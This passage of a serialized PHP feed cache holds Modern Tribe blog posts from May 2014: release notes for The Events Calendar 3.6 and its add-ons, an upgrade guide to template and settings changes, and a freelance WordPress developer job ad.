add-ons\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:89:\"http://tri.be/release-version-3-6-of-the-events-calendar-events-calendar-pro-all-add-ons/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:98:\"http://tri.be/release-version-3-6-of-the-events-calendar-events-calendar-pro-all-add-ons/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 28 May 2014 16:10:07 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Release Notes\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:23:\"http://tri.be/?p=183965\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:582:\"Hey everyone! We&#8217;ve been hard at work for the past month on our latest release, and finally have a finished product to share with you all: as of today, the 3.6 updates for our entire plugin suite have been deployed. While not as major an update as March&#8217;s 3.5 build, there is still a lot changed here &#8212; enough that you should definitely read our blog post covering things to be aware of before you &#8230; <a href=\"http://tri.be/release-version-3-6-of-the-events-calendar-events-calendar-pro-all-add-ons/\">Continue reading <span class=\"meta-nav\">&#8594;</span></a>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:3:\"Rob\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:40:\"http://purl.org/rss/1.0/modules/content/\";a:1:{s:7:\"encoded\";a:1:{i:0;a:5:{s:4:\"data\";s:12151:\"<p>Hey everyone! We&#8217;ve been hard at work for the past month on our latest release, and finally have a finished product to share with you all: as of today, the 3.6 updates for our entire plugin suite have been deployed. While not as major an update as March&#8217;s 3.5 build, there is still a lot changed here &#8212; enough that you should <a href=\"http://tri.be/the-events-calendarpro-3-6-changes-you-should-be-aware-of/\">definitely read our blog post covering things to be aware of</a> before you hit &#8220;Update.&#8221;</p>\n<p>There are 3.6 updates for all of the following plugins:</p>\n<ul>\n<li><strong>The Events Calendar</strong></li>\n<li><strong>Events Calendar PRO</strong></li>\n<li><strong>Community Events</strong></li>\n<li><strong>Facebook Events</strong></li>\n<li><strong>Eventbrite Tickets</strong></li>\n<li><strong>WooCommerce Tickets</strong></li>\n<li><strong>EDD Tickets</strong></li>\n<li><strong>WPEC Tickets</strong></li>\n<li><strong>Shopp Tickets</strong></li>\n<li><strong>Filter Bar</strong></li>\n</ul>\n<p>A detailed changelog for each plugin is below.</p>\n<h3>The Events Calendar 3.6</h3>\n<ul>\n<li>Added shortcode support to the before/after calendar HTML fields<em> (thanks to aurelio on the forums for the idea!)</em></li>\n<li>Added facilities for easier customization of ticketing plugin attendee tables <em>(thanks to Mike Z from Tuna Traffic and his awesome developer, Evan, for the assistance!)</em></li>\n<li>Added ability to remove entries from ticketing plugin attendee tables<em> (thanks to user artworkcreative on the forum for the heads up!)</em></li>\n<li>Added support for various datepicker date formats in the front end <em>(thanks to africaatlanta on the forums for getting the ball rolling on this!)</em></li>\n<li>Improved tribe bar handling of custom inputs<em> (thanks to manishie on the forums for the report!)</em></li>\n<li>Improved datepicker namespacing in admin to avoid collisions with other plugins <em>(thanks to jonathanhaswell for the report!)</em></li>\n<li>Improved user interface for event start/end times in the event editor (when working in 12hr format)</li>\n<li>Improved microformats implementation across multiple views <em>(thanks to Kevin on the forums for the report!)</em></li>\n<li>Deprecated the meta walker and added new templates for the display of single event meta</li>\n<li>Fixed an incorrect redirect when visiting an event with the wrong date in the URL</li>\n<li>Addressed a bug that prevented correctly saving venue and organizer information when an event is saved</li>\n<li>Moved the iCalendar feed to the core The Events Calendar plugin</li>\n<li>Moved the Google Calendar feed to the core The Events Calendar plugin</li>\n<li>Moved all HTML Markup (and the loop) to the List Widget template <em>(thanks to cityofroundrock for the idea!)</em></li>\n<li>Now only enqueueing events-admin.css on appropriate Events Pages<em> (thanks to verdipro on the forums for reporting this!)</em></li>\n<li>Fixed an issue where Category CSS classes were being removed from Events when in Responsive Mode<em> (thanks to Andy Fragen for the report!)</em></li>\n<li>Fixed an issue where page 2 or more of past view on list view was inaccessible<em> (thanks to Bob on the forums for reporting this!)</em></li>\n<li>Fixed an issue with double quotes being incorrectly escaped for tribe json function<em> (thanks to laurasbeads on the forum for catching this!)</em></li>\n<li>Removed all obsolete references to hide-visibility.css<em> (thanks to aljuk at WordPress.org for catching this!)</em></li>\n<li>Addressed gcal export files to add the Event Permalink to the Event Description when importing into Google Calendar</li>\n<li>Removed the hyperlink on the Featured image in the Event single template <em>(thanks to bigriverseo for catching this!)</em></li>\n<li>Improved the &#8216;No Events Found&#8217; messaging for various scenarios to more helpful and descriptive<em> (thanks to morktron on the forums for the idea!)</em></li>\n<li>Moved Day view from Events Calendar PRO to The Events Calendar</li>\n<li>Fixed an issue where switching between views would show events from incorrect dates</li>\n<li>Fixed an issue where selecting a date in the Tribe Bar may not have desired results when object caching is on</li>\n<li>Added settings for specifying custom formats for dates that are displayed throughout the plugin</li>\n<li>Ordered events in the events RSS feed by event date, rather than date of publication<em> (thanks to everyone who requested this!)</em></li>\n<li>Removed &#8220;View Venue&#8221; links when Events Calendar PRO is not active</li>\n<li>Fixed a bug where each time you previewed an event with unsaved data, it could create duplicate Venues and Organizers <em>(thanks to snorton on the forums for the heads up!)</em></li>\n<li>Remove Events dropdown from the admin bar when you&#8217;re in the network admin <em>(thanks to @cfoellmann on GitHub for catching this!)</em></li>\n<li>Ensured that external links on the TEC row in the admin Plugins page now open in a new tab<em> (thanks to @cfoellmann on GitHub for the idea!)</em></li>\n<li>Added a readme page for the Github repository</li>\n<li>Fixed an issue with multi-day All Day events were not showing at the top of Day view</li>\n<li>Fixed an issue where the iCal feed was exporting all events rather than the currently displaying events <em>(thanks to Glenn on the forums for the report!)</em></li>\n<li>Added new Estonian translation files, courtesy of Andra Saimre</li>\n<li>Added updated German translation files, courtesy of Dennis Gruebner</li>\n<li>Added updated Swedish translation files, courtesy of Jonas Reinicke</li>\n<li>Added new Latvian translation files, courtesy of Raivis Dejus</li>\n<li>Added new Afrikaans translation files, courtesy of Liza Welsh</li>\n<li>Added updated Czech translation files, courtesy of Petr Bastan</li>\n<li>Added updated Greek translation files, courtesy of Yannis Troullinos</li>\n<li>Added new Danish translation files, courtesy of @bechster</li>\n</ul>\n<h3>Events Calendar PRO 3.6</h3>\n<ul>\n<li>Incorporated taxonomy filters to the advanced events list widget</li>\n<li>Incorporated a feature to make the end date follow the start date when editing recurrence in the admin</li>\n<li>Deprecated the meta walker and added new templates for custom field data</li>\n<li>Fixed recurring event URLs when using default permalinks</li>\n<li>Fixed the query for days with events in the mini calendar widget</li>\n<li>Added code to prevent the re-creation of deleted instances of recurring events, when the original event is re-saved or the series is split</li>\n<li>Fixed switching a recurring event to a non-recurring event</li>\n<li>Incorporated code to better handle recurring events when importing events from a WordPress XML export</li>\n<li>tribe_get_events() now provides a default value for the eventDisplay query parameter</li>\n<li>Moved all HTML Markup (and the loop) to the List Widgettemplate</li>\n<li>Fixed an issue where Category CSS classes were being removed from Events when in Responsive Mode</li>\n<li>Fixed an issue where duplicate Prev/Next Nav elements would display in Photo &amp; Map View when no events were found</li>\n<li>Incorporated code to hide the &#8216;All Day&#8217; bar in Week View when no All Day events are found</li>\n<li>Added a &#8216;View All Events at this Venue&#8217; link to the Featured Venue Widget</li>\n<li>Split out the Related Events code to it&#8217;s own template file: views/pro/related-events.php</li>\n<li>Fixed an issue where the selected category wasn&#8217;t being respecting when paginating on Photo View</li>\n<li>Fixed an issue where using the Mini Calendar widget could break comments on posts</li>\n<li>Incorporated code so that the mini calendar widget will no longer display expired events in the list below the calendar</li>\n<li>Incorporated new Estonian translation files, courtesy of Andra Saimre</li>\n<li>Incorporated updated German translation files, courtesy of Dennis Gruebner</li>\n<li>Incorporated updated Swedish translation files, courtesy of Jonas Reinicke</li>\n<li>Incorporated new Latvian translation files, courtesy of Raivis Dejus</li>\n<li>Incorporated new Afrikaans translation files, courtesy of Liza Welsh</li>\n<li>Incorporated updated Czech translation files, courtesy of Petr Bastan</li>\n<li>Incorporated updated Greek translation files, courtesy of Yannis Troullinos</li>\n</ul>\n<h3>Community Events 3.6</h3>\n<ul>\n<li>Fixed editing of recurring events when PRO is active</li>\n<li>Added a &#8220;Delete All&#8221; option for recurring events</li>\n<li>Incorporated new Ukranian translation files, courtesy of Vasily Vishnyakov</li>\n<li>Incorporated updated German translation files, courtesy of Dennis Gruebner</li>\n</ul>\n<h3>Facebook Events 3.6</h3>\n<ul>\n<li>Fixed markup in the import form <em>(thanks to both Malisa at ManageWP and geekteq for the heads up!)</em></li>\n<li>Fixed a bug where imported venues and organizers were left without a slug in some cases</li>\n<li>Incorporated updated Czech translation files, courtesy of Petr Bastan</li>\n<li>Incorporated updated French translation files, courtesy of Alaric Breithof</li>\n</ul>\n<h3>Eventbrite Tickets 3.6</h3>\n<ul>\n<li>Removed the Google Checkout payment option when publishing events to Eventbrite</li>\n<li>Incorporated updated French translation files, courtesy of Alaric Breithof</li>\n</ul>\n<h3>WooCommerce Tickets 3.6</h3>\n<ul>\n<li>Revised ticketing form to help minimize styling issues with a range of popular themes</li>\n<li>Incorporated updated German files, courtesy of Margit Wright</li>\n<li>Incorporated new Czech translation files, courtesy of Petr Basan</li>\n<li>Incorporated updated French translation files, courtesy of Alaric Breithof</li>\n<li>Incorporated new Norwegian Bokmål translation files, courtesy of Gregory G</li>\n</ul>\n<h3>EDD Tickets 3.6</h3>\n<ul>\n<li>Fixed an issue where some text added to order emails was non-translatable</li>\n<li>Incorporated new Czech translation files, courtesy of Petr Basan</li>\n<li>Incorporated new French translation files, courtesy of Alaric Breithof</li>\n</ul>\n<h3>WPEC Tickets 3.6</h3>\n<ul>\n<li>Incorporated new Afrikaans translation files, courtesy of Liza Welsh</li>\n<li>Incorporated new Czech translation files, courtesy of Petr Basan</li>\n<li>Incorporated new French translation files, courtesy of Alaric Breithof</li>\n</ul>\n<h3>Shopp Tickets 3.6</h3>\n<ul>\n<li>Incorporated new French translation files, courtesy of Alaric Breithof</li>\n</ul>\n<h3>Filter Bar 3.6</h3>\n<ul>\n<li>Added ability to make filters show on hover instead of click (filter override)</li>\n<li>Added a feature where mobile filters will close after ajax success and get out of the way</li>\n<li>Improved horizontal filter show/hide performance (items will now hide on body click)</li>\n<li>Improved cost filter functionality</li>\n<li>Improved Javascript performance</li>\n<li>Revised behavior of the &#8220;all day&#8221; time filter to relate specifically to events marked as &#8220;all day&#8221;</li>\n<li>Fixed an issue where the Venue and Organizer filters could disappear when the category filter was set</li>\n<li>Added a WordPress filter so that available values in the filters could be modified (&#8216;tribe_events_filter_values&#8217;)</li>\n<li>Fixed an issue where the &#8220;Day&#8221; filter was not respecting the end of day cutoff setting</li>\n<li>Incorporated new French translation files, courtesy of Bastien Bournet-Charrier</li>\n<li>Incorporated new Ukrainian translation files, courtesy of Vasily Vishnyakov</li>\n<li>Incorporated updated German translation files, courtesy of Dennis Gruebner</li>\n<li>Incorporated new Czech translation files, courtesy of Petr Basan</li>\n</ul>\n<p>&#8211;</p>\n<p>That&#8217;s it this month! We&#8217;re already hard at work on 3.7, which is aiming for a launch just after the 4th of July and has a solid mix of bug fixes, usability enhancements and new features we&#8217;re thinking will really excite the community. If you encounter any problems with the 3.6 codebase, <a href=\"http://tri.be/support/forums/\">let us know at the forums</a> &#8212; we&#8217;ll do our best to get you sorted.</p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:94:\"http://tri.be/release-version-3-6-of-the-events-calendar-events-calendar-pro-all-add-ons/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"6\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:4;a:6:{s:4:\"data\";s:42:\"\n		\n		\n		\n		\n		\n				\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:59:\"The Events Calendar/PRO 3.6: changes you should be aware of\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:72:\"http://tri.be/the-events-calendarpro-3-6-changes-you-should-be-aware-of/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:81:\"http://tri.be/the-events-calendarpro-3-6-changes-you-should-be-aware-of/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 28 May 2014 16:09:36 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Release Notes\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:23:\"http://tri.be/?p=183921\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:591:\"As of today, 3.6 updates have been launched for The Events Calendar, Events Calendar PRO and their stable of premium add-ons. While not as significant an overhaul of the codebase as we saw in the 3.5 release, there are a number of fairly major changes in this release that you&#8217;re going to want to be aware of. It probably makes sense to read this before applying the updates! If you have customizations, make sure you&#8217;ve tweaked &#8230; <a href=\"http://tri.be/the-events-calendarpro-3-6-changes-you-should-be-aware-of/\">Continue reading <span class=\"meta-nav\">&#8594;</span></a>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:3:\"Rob\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:40:\"http://purl.org/rss/1.0/modules/content/\";a:1:{s:7:\"encoded\";a:1:{i:0;a:5:{s:4:\"data\";s:6088:\"<p>As of today, <a href=\"http://tri.be/release-version-3-6-of-the-events-calendar-events-calendar-pro-all-add-ons/\">3.6 updates have been launched</a> for The Events Calendar, Events Calendar PRO and their stable of premium add-ons. While not as significant an overhaul of the codebase as we saw in the 3.5 release, there are a number of fairly major changes in this release that you&#8217;re going to want to be aware of. <strong>It probably makes sense to read this before applying the updates! </strong>If you have customizations, make sure you&#8217;ve tweaked those based on any changes that might impact you. Here are the big six items to consider (all relate to the free The Events Calendar unless otherwise noted):</p>\n<p><strong>1. The meta factory has been deprecated. </strong>Up until now The Events Calendar has used a neat system called the meta factory to register and then display all sorts of meta data on single event pages (this is the panel that includes details like the organizer, venue and any custom fields that have been set up, etc). What we found though was that, for many users, customizing the meta factory output was a little more challenging than would be ideal.</p>\n<p>For that reason, the meta factory is no more! Starting with 3.6 it has been re-implemented using a set of templates and so from here on out can be customized using template overrides &#8211; we hope this will not only be easier to work with but also more consistent with how the rest of the plugin works.</p>\n<p>If you have haven&#8217;t made any customizations to the meta factory output then you probably will notice that, on the surface, almost nothing has changed. If on the other hand you have made a few customizations then you&#8217;re probably wondering what this means for you and how you can preserve your changes.</p>\n<p>The first technique is to set up template overrides for the new meta templates (which live in the <em>views/modules/meta</em> directory) and make your changes there &#8211; please review our <a href=\"http://tri.be/support/documentation/events-calendar-themers-guide/\">Themer&#8217;s Guide</a> if you are unfamiliar with this process. The second technique is to simply re-enable the traditional meta factory: this can be done by adding the following short snippet to your theme&#8217;s functions.php file:</p>\n<p><code>add_filter( \'tribe_events_single_event_meta_legacy_mode\', \'__return_true\' );</code></p>\n<p>If you choose to follow this path please do realize that it comes with a warning: this will not be possible in future releases and so you should view this only as a temporary workaround and switch to using template overrides as soon as possible.</p>\n<p><strong>2. Day View now ships with the core The Events Calendar, and doesn&#8217;t require PRO. </strong>The title pretty much says it all: while Day View was previously a PRO-exclusive feature, as of this release it now joins Month and List views in the core The Events Calendar. All PHP files related to Day View are now in the core plugin, not PRO, so if you need to modify them or create a template override this is where you&#8217;re going to want to look.</p>\n<p><strong>3. iCal option has been ported from PRO to The Events Calendar, too. </strong>Similar to #2, above: we&#8217;ve ported the ability to export events to iCal format from PRO to core. For most users, the biggest impact this will have is the addition of a new button on their single event templates (which will obviously need to be accounted for in customizations/custom layouts).</p>\n<p><strong>4. Custom date formats are now available. </strong>In 3.6, there is a new section under <em>Settings &gt; Display</em> where you can specify custom formats for the dates that are displayed throughout TEC and its add-ons. The new format fields will accept the formatting options used with the php date() function. The <a href=\"http://codex.wordpress.org/Formatting_Date_and_Time\">WordPress codex has a good tutorial</a> on this which you might want to check out.</p>\n<p><strong>5. New datepicker options are now available. </strong>Additionally, we added options for formatting the datepickers used in our plugins. You will have a choice of 9 predefined options for the datepicker format. The default will be the existing datepicker as seen in 3.5 and earlier, and you can continue to use that as you see fit. But if you want to use a different choice you now have options in the Events Settings panel.</p>\n<p><strong>6. The process for doing list widget overrides has changed. </strong>We&#8217;ve also made some pretty significant changes to the list widget template files, so that all HTML markup (as well as the loop) is now included in the template files for you to customize. If you have any overrides to the list widget files (for either CORE or PRO), then you&#8217;ll definitely want to update your overrides to incorporate our latest changes in order for your widgets to be working properly. As a reminder, here are the List Widget template files for CORE &amp; PRO:</p>\n<ul>\n<li> CORE: <em>views/widgets/list-widget.php</em></li>\n<li>PRO:<em> views/pro/widgets/list-widget.php</em></li>\n</ul>\n<p>Finally, if you&#8217;re running PRO, you&#8217;ll notice that we&#8217;ve also <a href=\"http://grab.by/x9Se\">split out the &#8216;Related Events&#8217;</a> into their own template file. So, now you can override that view as well if needed!</p>\n<ul>\n<li>PRO:<em> views/pro/related-events.php</em></li>\n</ul>\n<p>&#8211;</p>\n<p>We&#8217;re communicating this to you early in an effort to be 100% transparent about how these changes might impact you. One of our biggest failings in 3.5 was that we never clearly relayed to the community how major the changes were and the impact they&#8217;d have on the codebase, which led to some confusion among those who hadn&#8217;t known to properly prepare for the update. We&#8217;re hoping there&#8217;s less of that confusion this go around&#8230;but if you&#8217;re stuck or encounter issues, <a href=\"http://tri.be/support/forums/\">hit us up in the forums</a>.</p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:77:\"http://tri.be/the-events-calendarpro-3-6-changes-you-should-be-aware-of/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"1\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:5;a:6:{s:4:\"data\";s:48:\"\n		\n		\n		\n		\n		\n				\n		\n		\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:39:\"Help wanted: WordPress Plugin Developer\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:53:\"http://tri.be/help-wanted-wordpress-plugin-developer/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:62:\"http://tri.be/help-wanted-wordpress-plugin-developer/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 14 May 2014 19:00:37 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:3:{i:0;a:5:{s:4:\"data\";s:4:\"Gigs\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}i:1;a:5:{s:4:\"data\";s:4:\"News\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}i:2;a:5:{s:4:\"data\";s:20:\"News & Announcements\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:23:\"http://tri.be/?p=129759\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:663:\"The Opportunity We&#8217;re looking for a talented freelance WordPress plugin developer in North America. The opportunity calls for a mixed set of skills. We need someone with expert level PHP / MYSQL skills, impeccable WordPress experience, and basic system administration experience (Apache/Nginx). Experience managing sites with extremely large loads is a plus. We like our stuff to run fast and smooth. We&#8217;re currently working on high-profile WordPress implementations that range between conventional to seriously bleeding &#8230; <a href=\"http://tri.be/help-wanted-wordpress-plugin-developer/\">Continue reading <span class=\"meta-nav\">&#8594;</span></a>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:3:\"Rob\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:40:\"http://purl.org/rss/1.0/modules/content/\";a:1:{s:7:\"encoded\";a:1:{i:0;a:5:{s:4:\"data\";s:5315:\"<h3>The Opportunity</h3>\n<p>We&#8217;re looking for a talented freelance WordPress plugin developer in North America.</p>\n<p>The opportunity calls for a mixed set of skills. We need someone with expert level PHP / MYSQL skills, impeccable WordPress experience, and basic system administration experience (Apache/Nginx). Experience managing sites with extremely large loads is a plus. We like our stuff to run fast and smooth.</p>\n<p>We&#8217;re currently working on high-profile WordPress implementations that range between conventional to seriously bleeding edge. We will want to see plugin code examples &#8211; public plugins are ideal. We want people that are able to develop code that can withstand high profile sites and intense loads. You should be comfortable working as part of a team &#8211; your code will have to integrate into an existing architecture. If the tightly optimized code get&#8217;s you excited &#8211; you&#8217;re probably a good fit.</p>\n<h3>The Company</h3>\n<p>Modern Tribe is a digital agency with a modern twist. We are a product company. We are educators. All freelancers. All experts. In today’s world, we get to be many things to many people.</p>\n<p>We believe in making quality products for other people and ourselves, balanced by living quality lives. We are 100% distributed &amp; our team is spread around North America (and a hint beyond).</p>\n<p>We believe that you should be happy, helpful, curious &amp; accountable, on top of being good at what you do. We believe life should be lived intentionally. We believe in a class of artisans and craftsman in control of their work who solve people problems rather than just build more crap. We believe in a sustainable vision of open source, and contribute consistently into the ecosystem.</p>\n<h3>Team Requirements</h3>\n<p>We love working with each other because we have built a culture that suits us well. We work exclusively with freelancers and coordinate their talents for large projects. To be on our team, you must be:</p>\n<ul>\n<li><strong>Helpful:</strong> Always looking for ways that you can help others.</li>\n<li><strong>Happy:</strong> Where there is a will, there is a way. Having a positive disposition allows us to achieve great things and to support each other.</li>\n<li><strong>Curious:</strong> It is essential that you have a passion for learning. Technology changes daily, and life has a way of constantly raising the bar.</li>\n<li><strong>Accountable:</strong> Our clients expect us to get the right thing done on budget and on time. Communicating expectations and meeting them is the cornerstone of success.</li>\n</ul>\n<h3>Location</h3>\n<p>Work from anywhere in the US or Canada. PLEASE DO NOT APPLY if your working hours are in a timezone outside of the US range.</p>\n<h3>Responsibilities</h3>\n<ul>\n<li>Architect and document plugin solutions using best practices</li>\n<li>Integrate code into existing plugin architecture</li>\n<li>Manage and optimize server performance</li>\n<li>Produce code solutions that scale to large loads</li>\n<li>Be a part of QA team and optimize / review other team members&#8217; code</li>\n<li>Back up the support team on difficult issues / support tickets</li>\n<li>Work with design team to architect most effective solutions</li>\n<li>Manage SVN / GIT and code releases</li>\n</ul>\n<h3>Personal Competencies</h3>\n<ul>\n<li>Strong communication and/or experience working as part of a remote team</li>\n<li>Self-motivated, detail-oriented, strong organizational skills, with a methodical approach to all tasks</li>\n<li>Ability to prioritize workloads and meet deadlines</li>\n<li>Fluent English speaker</li>\n</ul>\n<h3>Required Knowledge and Experience</h3>\n<ul>\n<li>Full Time freelancers only!</li>\n<li>WordPress structure, themes, and plugins</li>\n<li>Javascript</li>\n<li>Advanced LAMPS skills</li>\n<li>GIT</li>\n<li>Proficiency at local environment development</li>\n</ul>\n<h3>Additional Experience a Plus</h3>\n<ul>\n<li>Examples of plugins that you&#8217;ve released to the open source community</li>\n<li>Advanced WordPress debug skills</li>\n</ul>\n<h3>Compensation</h3>\n<p>Pay range is between $40-70 per hour commensurate with qualifications and experience. In a nutshell, our most senior team members, who have lots of domain knowledge are on the top end of the scale. This is a one time contract position, though we are always seeking longer relationships with kick-ass people.</p>\n<h3>Perks</h3>\n<p>We believe that freelancing is a way of life. We understand what it means to be a freelancer. We offer consistency in expectations, payment, and support. We believe in learning from each other and fostering personal growth. You can expect to learn a lot while working with us.</p>\n<h3>Applying</h3>\n<p>You should apply at <a href=\"http://tri.be/about/join-our-team/\">our Join the Tribe page</a>. BEFORE APPLYING, please read the job post carefully. So many people seem to apply without actually reading it. PLEASE DO NOT APPLY if your working timezone is outside of the US range.</p>\n<p>With your application, make sure to include the following:</p>\n<ul>\n<li>Links to examples of your work</li>\n<li>Links to code samples</li>\n<li>Your favorite color (that way we know you actually read this)</li>\n<li>A couple of references</li>\n</ul>\n<p>We look forward to hearing from 